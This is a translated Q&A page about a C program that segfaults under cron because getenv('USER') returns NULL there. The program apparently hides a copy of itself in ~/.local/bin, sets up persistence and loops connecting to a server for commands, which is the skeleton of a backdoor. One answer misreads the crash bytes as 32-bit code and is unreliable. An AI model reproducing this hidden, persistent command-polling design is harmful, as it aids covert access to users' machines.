簡體   English   中英

在 Linux 上使用 crontab 運行我自己的 C 程序時出現分段錯誤

[英]Segmentation fault when running my own C program with crontab on Linux

unname -a:

Linux deepin 5.4.70-amd64-desktop #1 SMP Wed Oct 14 15:24:23 CST 2020 x86_64 GNU/Linux

我正在編寫一個適用於目錄和 sockets 的 C 程序。 當我通過命令行運行它時,它按預期工作,但是當我通過 cron 運行時,它會遇到分段錯誤。

這是我的程序的入口點(以及相關部分,我認為)。

#include "../include/persistence.h"

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <libgen.h>
        
#include "../include/sockets.h"
#include "../include/footprint.h"
#include "../include/commands.h"

int
main(int argc, char *argv[]) {
    char    destination_path[2048] = { 0 };
    char    *exec_filename;
    char    *safe_exec_filename;
    char    *username;

    (void)argc;  // to prevent compiler warning about unused argc
    username = getenv("USER");
    safe_exec_filename = strdup(argv[0]);  // for safe use of basename()
    exec_filename = basename(safe_exec_filename);
    sprintf(destination_path, "/home/%s/.local/bin/", username);
    if (!file_exists(destination_path)) {
        if (create_dir(destination_path)) {
            strcat(destination_path, exec_filename);
            hide_file(argv[0], destination_path);
        }
    }
    if ((strlen(exec_filename) + strlen(destination_path)) > 2048) {
        printf("BUFFER TOO SMALL\n");
        return 1;
    }
    strcat(destination_path, exec_filename);
    printf("%s\n", destination_path);
    if (!file_exists(destination_path)) {
        hide_file(argv[0], destination_path);
    }
    if (safe_exec_filename != NULL) {
        free(safe_exec_filename);
    }
    persistence(destination_path);
    while (1) {
        int16_t server_socket = connect_to_server();

        start_communication(server_socket);
    }
    return 0;
}

通過命令行從任何(相對/絕對)路徑執行二進制文件工作正常,但使用 cron,“什么都沒有”發生。 分析 /var/log/syslog 時,顯示如下:

Mar  4 15:27:01 deepin CRON[14713]: (user) CMD (/home/user/.local/bin/myprogram)
Mar  4 15:27:01 deepin kernel: [ 5934.175052] myprogram[22332]: segfault at 0 ip 00007f4fb5cea327 sp 00007ffd74362328 error 4 in libc-2.28.so[7f4fb5c6f000+148000]
Mar  4 15:27:01 deepin kernel: [ 5934.175060] Code: 0f 7f 27 f3 0f 7f 6f 10 f3 0f 7f 77 20 48 83 c6 30 48 83 c7 30 4c 8d 1d 47 f7 0d 00 49 63 0c 93 49 8d 0c 0b ff e1 66 0f ef c0 <f3> 0f 6f 0e f3 0f 6f 56 10 66 0f 74 c1 66 0f d7 d0 48 85 d2 75 6b

還有我的 crontab -l output:

* * * * * /home/user/.local/bin/myprogram

PS:我嘗試了@reboot,但將 * * * * * 更改為“調試”。 在使用@reboot 並檢查日志時,也會出現分段錯誤。 檢查 /var/mail/user,它顯示:

Content-Transfer-Encoding: 8bit
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/home/user>
X-Cron-Env: <PATH=/usr/bin:/bin>
X-Cron-Env: <LOGNAME=user>
Message-Id: <20210304184201.5A18124898@deepin>
Date: Thu,  4 Mar 2021 15:27:02 -0300 (-03)

Segmentation fault

編輯1:我已經嘗試(在主函數的頂部)放置一個創建文件的function,寫入並保存。 這個 function 永遠不會執行。 我創建了另一個程序,其中只有一個主 function 寫入文件並保存。 將二進制文件放在 myprogram 的同一文件夾中並為其創建一個 cron 並且它可以正常執行(我可以看到生成的文件並且日志上沒有顯示段錯誤或其他錯誤)。

當您從 shell 運行程序時,它設置了許多環境變量,從 cron 運行時可能存在也可能不存在。 USER就是其中之一。 您應該檢查系統的文檔,但的有:

cron(8) 守護進程會自動設置幾個環境變量。 SHELL 設置為 /bin/sh,LOGNAME 和 HOME 是從 crontab 所有者的 /etc/passwd 行設置的。 HOME 和 SHELL 可能會被 crontab 中的設置覆蓋; LOGNAME 可能不會。

(另一個注意事項:在 BSD 系統上,LOGNAME 變量有時稱為 USER...在這些系統上,也會設置 USER。)

所以USER可能沒有被定義。 如果不是,那么getenv("USER")將返回 NULL,但您不對此進行測試,因此username名將是 NULL 和 segfault,當您將其傳遞給sprintf時。

您也許可以改用LOGNAME ,或者跳過環境變量並使用getpwuid(getuid())之類的內容查找用戶名。

無論如何,更多的錯誤檢查通常是一個好主意,以防止更多此類錯誤。

我認為問題可能來自各種問題:

為什么需要循環連接服務器?

while (1) {
        int16_t server_socket = connect_to_server();

        start_communication(server_socket);
    }
    return 0;

也許應該是:

    int16_t server_socket = connect_to_server();
    while (1) {
        start_communication(server_socket);
    }
    return 0;

而不是:

free(safe_exec_filename);

利用:

if (safe_exec_filename == NULL) {
    dprintf(2, "Safe exec filename is NULL");
    return 1;
}
free(safe_exec_filename);

還使用 cron 和您的 c 程序打印safe_exec_filename並查看是否存在差異,您的段錯誤的程序集如下:


你的 char 數組變得太小了:

0:  0f 7f 27                movq   QWORD PTR [edi],mm4
3:  f3 0f 7f 6f 10          movdqu XMMWORD PTR [edi+0x10],xmm5
8:  f3 0f 7f 77 20          movdqu XMMWORD PTR [edi+0x20],xmm6
d:  48                      dec    eax
e:  83 c6 30                add    esi,0x30
11: 48                      dec    eax
12: 83 c7 30                add    edi,0x30
15: 4c                      dec    esp
16: 8d 1d 47 f7 0d 00       lea    ebx,ds:0xdf747
1c: 49                      dec    ecx
1d: 63 0c 93                arpl   WORD PTR [ebx+edx*4],cx
20: 49                      dec    ecx
21: 8d 0c 0b                lea    ecx,[ebx+ecx*1]
24: ff e1                   jmp    ecx
26: 66 0f ef c0             pxor   xmm0,xmm0
2a: f3 0f 6f 0e             movdqu xmm1,XMMWORD PTR [esi]
2e: f3 0f 6f 56 10          movdqu xmm2,XMMWORD PTR [esi+0x10]
33: 66 0f 74 c1             pcmpeqb xmm0,xmm1
37: 66 0f d7 d0             pmovmskb edx,xmm0
3b: 48                      dec    eax
3c: 85 d2                   test   edx,edx
3e: 75 6b                   jne    0xab

所以我主要擔心的是它可能與目標路徑的緩沖區變得太小有關,因為 cron 使用相對路徑而不是絕對路徑:

strcat(destination_path, exec_filename);

嘗試更改緩沖區大小:

#define SIZE 2048
char    destination_path[SIZE] = { 0 };

並添加支票:

if ((strlen(exec_filename) + strlen(destination_path)) > SIZE)
{ error handling}
strcat(destination_path, exec_filename);

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM